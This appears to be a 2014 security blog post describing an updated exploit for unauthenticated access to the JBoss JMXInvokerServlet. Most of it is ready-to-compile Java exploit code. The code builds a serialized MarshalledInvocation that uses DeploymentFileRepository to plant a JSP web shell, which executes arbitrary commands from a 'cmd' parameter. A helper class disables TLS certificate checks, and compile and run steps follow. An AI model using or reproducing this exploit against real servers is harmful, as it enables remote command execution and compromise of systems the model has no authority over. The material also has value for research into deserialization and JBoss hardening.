Wednesday, February 19, 2014

JBOSS JMXInvokerServlet Update

A few months ago I posted some exploit code that abuses unauthenticated access to the JBOSS JMXInvokerServlet (http://breenmachine.blogspot.com/2013/09/jboss-jmxinvokerservlet-exploit.html).

For review, JBOSS exposes by default an HTTP interface at http://<JBOSS>:8080/invoker/JMXInvokerServlet. This interface works with raw binary Java objects (serialized). It is the backend for another interface that is disabled by default. By sending it a specially crafted object, you can basically use this interface to invoke remote procedures that are part of JBOSS.

There were a few problems with my previous method for calling this interface:

  • A 'magic number' called the version hash is required. I didn't really know where it came from and didn't need to at the time of writing it.
  • The method used to exploit the JMXInvokerServlet wont work with JBOSS 5.x+. In these later versions of JBOSS, a bug (or security feature?) was introduced that does not allow deployment of remote objects. In the previous exploit, I relied on this feature to pull down a remote WAR file from the attacker's web server and deploy it.

What follows is a description and the code used to get past these issues.

Those who have attempted to use the code from the previous post on JBOSS 5.x+ would likely have encountered an error like:
  • java.io.IOException: No context factory for http://127.0.0.1/attacker.war at org.jboss.virtual.VFS.getVFS(VFS.java:196) at org.jboss.virtual.VFS.getRoot(VFS.java:212) at 
This is because in JBOSS 5.x, the "http" protocol is not recognized as valid for deployment by "VFS", the URL in this case must be a local path for it to work - bummer. After some research, it doesn't seem that the MainDeployer - a component of JBOSS that can be called to deploy objects - can be used in these later versions to deploy files hosted remotely. A different method must be used.

Enter the JBOSS "DeploymentFileRepository", another service that is remotely invocable through the JMXInvokerServlet. I was informed of this possibility of using this by Drone who is working on a new application server exploit tool "clusterd" (https://github.com/hatRiot/clusterd), I hope we can implement these results into this tool. The DeploymentFileRepository allows for the upload of JSP code to a fixed location on the server... sounds interesting.

In order to test this procedure, "twiddle" was used. Twiddle is a tool that comes with JBOSS and allows you to invoke remote procedures from the command line. The problem with using twiddle for our purposes is it goes "through the front door" so to speak. The following command will use the DeploymentFileRepository to create a JSP file on my test server at http://127.0.0.1/xxxyyy/xxxyyy.jsp. It specifies the DeploymentFileRepository as the target, invokes that objects "store" method, and the remainder are the parameters for the "store" method:
  • ./twiddle.sh -s localhost invoke "jboss.admin:service=DeploymentFileRepository" store xxxyyy.war xxxyyy .jsp ThisIsATest  True
This successfully deploys a file called xxxyyy.jsp to our JBOSS instance! Unfortunately as mentioned before, twiddle goes "through the front door", so it wont hit the open JMXInvokerServlet directly. To find out what's going on here, I ran WireShark and captured the network traffic passing over the loopback interface. One of the TCP streams contained the following (note the "MarshalledInvocation" in the center):


If you'll recall from last time, a "MarshalledInvocation" is the object type that the JMXInvokerServlet requires! 

I manually chopped the MarshalledInvocation out of the TCP dump, but have written a utility to do it automagically, incase anyone wants to use the same technique in the future to reverse engineer another deployer (something different than the MainDeployer or DeploymentFileRepository). The code follows, yes it's hacky and ugly:

---------------------------------
ReadMarshalledInvocation.java
*Parameter Strings to Modify: 
payloadSaveLocation->location to save the serialized MarshalledInvocation
tcpDumpLocation->file containing the TCP dump, I extract a stream from WireShark

import java.io.*;
import org.jboss.invocation.MarshalledInvocation;

public class ReadMarshalledInvocation {

public static MarshalledInvocation tryRead(InputStream stream) throws Exception{
MarshalledInvocation ret = null;
while(ret == null && stream.available() > 3){
try{
ObjectInput input = new ObjectInputStream (stream);
for (int i=0;i<34;i++){
input.readByte();
}
Object test = input.readObject();
if(test.getClass().toString().equals("class org.jboss.invocation.MarshalledInvocation")){
MarshalledInvocation inv = (MarshalledInvocation)test;
Object[] invArgs = inv.getArguments();
if(invArgs.length < 2 || invArgs[1] == null){
System.out.println("Got the wrong MarshalledInvocation, no arguments - trying to find another one");
}
else
{
System.out.println("Found a MarshalledInvocation with arguments!");
return inv;
}
}
else{
System.out.println(test.getClass().toString());
}
}
catch(Exception e){
stream.skip(-3);
}
}
return ret;
}
public static void main(String[] args) throws Exception {
//Paramters to change:
//payloadSaveLocation is where you want to dump the extracted MarshalledInvocation
//tcpDumpLocation is the file with the tcp dump
String payloadSaveLocation = "/home/me/Desktop/invocation.obj";
String tcpDumpLocation = "/home/me/Desktop/RawTCPStreamDumpWithInvokation.obj";
try{
InputStream file = new FileInputStream(tcpDumpLocation);
MarshalledInvocation mInv = tryRead(file);
file.close();
//Dump the invocation to disk
       FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
       ObjectOutputStream out = new ObjectOutputStream(fileOut);
       out.writeObject(mInv);
       out.close();
       fileOut.close();
       System.out.println("MarshalledInvokation saved in "+ payloadSaveLocation);
//Print out some basics about the loaded MarshalledInvokation
String objNameType = mInv.getObjectName().getClass().toString();
Integer objName = (Integer)mInv.getObjectName();
System.out.println(objNameType+":"+objName);
System.out.println(mInv.getMethodHash());
Object[] mInvArgs = mInv.getArguments();
for(int i=0;i<mInvArgs.length;i++){
if(mInvArgs[i] != null){
System.out.println(mInvArgs[i].getClass().toString());
if(!mInvArgs[i].getClass().isArray())
{
System.out.println("\t"+mInvArgs[i]);
}
else
{
Object[] argObj = (Object[])mInvArgs[i];
for(int j=0;j<argObj.length;j++){
System.out.println("\t"+argObj[j].getClass().toString());
System.out.println("\t\t"+argObj[j]);
}
}
}
}
}
catch (Exception e){
e.printStackTrace();
}
}
}
---------------------------------

So now we've got our hands on a MarshalledInvocation that is associated with the DeploymentFileRepository. Along with serializing and saving the MarshalledInvocation to disk, the code reads the object fields and prints the following, which we will analyze in a minute:

---------------------------------
class [Ljava.rmi.server.ObjID;
Got the wrong MarshalledInvocation, no arguments - trying to find another one
Got the wrong MarshalledInvocation, no arguments - trying to find another one
Found a MarshalledInvocation with arguments!
MarshalledInvokation saved in /home/me/Desktop/invocation.obj
class java.lang.Integer:-483630874
8688737015066284935
class javax.management.ObjectName
jboss.admin:service=DeploymentFileRepository
class java.lang.String
store
class [Ljava.lang.Object;
class java.lang.String
xxxyyy.war
class java.lang.String
xxxyyy
class java.lang.String
.jsp
class java.lang.String
<%!String message = "Hello, World. From JSP test page Tomcat is running.";%>
class java.lang.Boolean
true
class [Ljava.lang.String;
class java.lang.String
java.lang.String
class java.lang.String
java.lang.String
class java.lang.String
java.lang.String
class java.lang.String
java.lang.String
class java.lang.String
boolean
---------------------------------

The green highlighted section above is the "hash" referred to in the previous post. It is pulled out by calling the "getObjectName" method.

The orange highlighted section is is the array of paramters passed to the "store" method of the "DeploymentFileRepository".

This is everything we need to recreate the MarshalledInvokation dynamically in code and send it directly to the JMXInvokerServlet. Those who know anything about Java probably think I'm an idiot at this point, why did I reverse engineer the object from a TCP dump?! The Javadoc for DeploymentFileRepository, while a little vague on the parameter format has enough information to do all of this.... I did this initially and was totally stuck on why it wasn't working. It was because I used "java.lang.Boolean" as the object type for the final parameter when it should have been primitive "boolean". JBOSS blew up and provided no useful debugging info, so I had to go through all of the above BS to find my mistake :).

The exploit code is as follows - mostly the same as last time:

---------------------------------
JBOSSExploit.java
*Parameter Strings to Modify:
jmxUrl->URL for the JMXInvokerServlet
*Optional Parameter Strings: 
hash->Might have to change this for versions of JBOSS, find it by dumping the MarshalledInvocation
jspShell->JSP to upload. The one included is a simple shell that runs commands passed in the "cmd" URL parameter.
others-> Just various filenames and stuff, self explanatory.

import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;


public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = -483630874;
//Required
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
//Optional
String shellFileName = "jspshell";
String shellFileExtension=".jsp";
String warFileName = "xxxyyy";
String warFileExtension = ".war";
String payloadSaveLocation = "testPayload.out";
String jspShell = "<%@ page import=\"java.util.*,java.io.*\"%><%if (request.getParameter(\"cmd\") != null) {out.println(\"Command: \" +request.getParameter(\"cmd\") + \"\");Process p =Runtime.getRuntime().exec(request.getParameter(\"cmd\"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>";
MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);
Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.admin:service=DeploymentFileRepository");
myObj[1] = new String("store");
myObj[2] = new Object[]{warFileName+warFileExtension,shellFileName,shellFileExtension,jspShell,true};
myObj[3] = new String[]{"java.lang.String","java.lang.String","java.lang.String","java.lang.String","boolean"};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf("Payload saved in "+ payloadSaveLocation);
        
        
/*InputStream file = new FileInputStream(payloadSaveLocation);
InputStream buffer = new BufferedInputStream(file);
ObjectInput input = new ObjectInputStream (buffer);
Object read = input.readObject();
input.close();
System.out.println(read.getClass().toString());
MarshalledInvocation payload = (MarshalledInvocation)read;*/
        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
        
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println("Success! Look for the deployed WAR at /"+warFileName+"/"+shellFileName+shellFileExtension);
        }
        }
        
}

}
---------------------------------
TrustModifier.java
**Supporting class for JBOSSExploit.java
import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier 
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will 
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn) 
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory 
            prepFactory(HttpsURLConnection httpsConnection) 
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
   
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }      
   }
   
}

---------------------------------

For those who have made it this far, to Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp .:jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp .:jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/xxxyyy/jspshell.jsp

Hopefully in the future we can get this exploit integrated into a toolkit like clusterd.
,

1 comment:

  1. This comment has been removed by a blog administrator.

    ReplyDelete